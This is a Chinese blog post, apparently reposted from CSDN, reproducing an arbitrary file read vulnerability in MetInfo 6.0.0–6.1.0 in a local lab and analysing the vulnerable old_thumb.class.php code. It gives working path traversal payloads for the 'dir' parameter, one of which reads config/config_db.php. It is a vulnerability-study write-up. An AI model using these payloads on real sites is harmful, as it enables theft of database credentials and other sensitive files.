0


记一次MetInfo6.0.0文件包含漏洞复现

记一次MetInfo漏洞复现


根据reebuf作者进行漏洞复现,原地址:【传送门】


MetInfo企业网站管理系统是一款开源cms建站系统,可以帮助用户轻松搭建网站,支持电脑网站、手机网站、微信公众号三大网络入口为一体的建站软件.如果你使用MetInfo企业网站管理系统搭建网站,你只需要进入网站后台,即可轻松更改管理网站,简单方便.只需一个后台,就可以便捷的管理电脑网站、手机网站、微信公众号、信息内容都可以一致同步推送.微信公众号管理系统让你无需支付任何费用就可以使用开发模式,无任何限制,并且能够免费使用开发模式实现的功能。

漏洞简介:

在MetInfo软件的

old_thumb.class.php

文件存在任意文件读取漏洞。攻击者利用此文件漏洞窃取网站上的资产。

漏洞影响版本:

MetInfo 6.0.0~6.1.0

软件下载地址

MetInfo 6.0.0

在这里插入图片描述

开始复现

  • 下载MetInfo 6.0.0版本软件,复制到phpstudy下的www里在这里插入图片描述
  • 开启phpstudy,并访问浏览器,打开MetInfo在这里插入图片描述
  • 开始安装在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 下载完成,打卡burpsuite,进入网站,输入include.thumb.php进行抓包分析在这里插入图片描述
  • 使用payload绕过,进行文件读取
  • ?dir=.....///http/.....///config/config_db.php
  • 能够响应成功,可是文件没有读取成功在这里插入图片描述
  • 使用第二个payload绕过
  • ?dir=http/.....///.....///config/config_db.php
  • 能够响应成功,可是文件也没有读取成功在这里插入图片描述
  • 使用第三个payload绕过
  • ?dir=http\..\..\config\config_db.php
  • 在这里插入图片描述
  • 试着读取不同的敏感文件,同样成功!在这里插入图片描述
  • 敏感文件读取成功!复现成功。

代码分析:

可以打开app\system\include\module\old_thumb.class.php这个php文件,进行观察和学习

<?php# MetInfo Enterprise Content Management System# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.defined('IN_MET')orexit('No permission');load::sys_class('web');classold_thumbextendsweb{#old_thumb类publicfunctiondoshow(){#doshow方法global$_M;#全局变量 $_M$dir=str_replace(array('../','./'),'',$_GET['dir']);#$dir直接由$_GET['dir']传参,并将../和./过滤if(substr(str_replace($_M['url']['site'],'',$dir),0,4)=='http'&&strpos($dir,'./')===false){#使用substr函数提取字符串,从(str_replace($_M['url']['site'], '', $dir)的位置0开始取4个字符串。#(str_replace($_M['url']['site'], '', $dir):是将$dir中包含$_M['url']['site']进行过滤掉 ' '。#使用strpos函数查找$dir中的./首次出现的位置,并进行过滤。#可以使用..\来跳转目录【?dir=http\..\..\config\config_db.php】<—进行跳转header("Content-type: image/jpeg");ob_start();readfile($dir);ob_flush();flush();die;}if($_M['form']['pageset']){$path=$dir."&met-table={$_M['form']['met-table']}&met-field={$_M['form']['met-field']}";}else{$path=$dir;}$image=thumb($path,$_M['form']['x'],$_M['form']['y']);if($_M['form']['pageset']){$img=explode('?',$image);$img=$img[0];}else{$img=$image;}if($img){header("Content-type: image/jpeg");ob_start();readfile(PATH_WEB.str_replace($_M['url']['site'],'',$img));ob_flush();flush();}}}# This program is an open source system, commercial use, please consciously to purchase commercial license.# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.?>

substr函数

strpos函数

如有错误!还请指教!

标签: 安全 web安全

本文转载自: https://blog.csdn.net/weixin_55404107/article/details/127425583
版权归原作者 不是为了猿而圆 所有, 如有侵权,请联系我们删除。

“记一次MetInfo6.0.0文件包含漏洞复现”的评论:

还没有评论